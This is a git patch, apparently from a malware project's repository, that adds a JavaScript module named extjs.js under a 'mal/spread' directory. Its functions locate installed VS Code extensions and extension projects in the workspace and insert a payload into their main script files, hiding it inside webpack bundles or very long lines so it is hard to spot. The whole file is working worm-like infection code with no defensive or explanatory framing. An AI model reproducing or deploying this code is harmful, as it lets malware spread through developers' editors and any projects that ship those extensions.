From e2d1d18715a7c5b80cce02a96b09a5d57de38072 Mon Sep 17 00:00:00 2001 From: spv Date: Sun, 4 May 2025 20:12:34 -0400 Subject: flawless victory --- inf/mal/spread/extjs.js | 58 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 inf/mal/spread/extjs.js (limited to 'inf/mal/spread/extjs.js') diff --git a/inf/mal/spread/extjs.js b/inf/mal/spread/extjs.js new file mode 100644 index 0000000..9d75e9f --- /dev/null +++ b/inf/mal/spread/extjs.js @@ -0,0 +1,58 @@ +function pwn_ext_buf(_buf) { + let buf = _buf; +// let buf = fs.readFileSync(fname, "utf8"); + let pwnage = sentinel_pwn(); + + if (buf.includes(pwnage)) return false; +// if (!buf.includes("vscode")) return false; + + if (buf.includes("})();\nObject.defineProperty")) { + // easy to hide between these + buf.replace("})();\nObject.defineProperty", "})();\nObject.defineProperty", `})();\n${pwnage}\nObject.defineProperty`); + } else if (buf.includes("__webpack_module_cache__={};function __webpack_require__")) { + // even better, halfway through a fucking 100k line! + buf.replace("__webpack_module_cache__={};function __webpack_require__", `__webpack_module_cache__={};${pwnage}function __webpack_require__`); + } else { + buf = buf + "\n" + Buffer.from(pwnage); + } + +// fs.writeFileSync(fname, buf); + + return buf; +} + +function extension_js_spread() { + vscode["workspace"]["findFiles"]("**/{package.json}", "**/node_modules/**")["then"]((ev) => { + for (var el of ev) { + let j = JSON.parse(fs.readFileSync(el.path, "utf8")); + try { + if (!j["engines"]["vscode"]) continue; + } catch { + //; + } + let mc = path.dirname(el.path) + "/" + j["main"]; + let b = fs.readFileSync(mc, "utf8"); + let pwnd = pwn_ext_buf(b); + + fs.writeFileSync(mc, pwnd ? pwnd : b); + } + }); +} + +function extension_spread() { + vscode.extensions.all.map( + (e) => { + fs.access(e.extensionPath, 2, (er) => { + if (er) return; + + let x = (e.extensionPath + "/" + require(e.extensionPath + "/package.json")["main"]); + + x = x.endsWith("js") ? x : x + ".js"; + + let f = fs.readFileSync(x, "utf8"); + let b = pwn_ext_buf(f); + fs.writeFileSync(x, b ? b : f) + }) + } + ); +} \ No newline at end of file -- cgit v1.2.3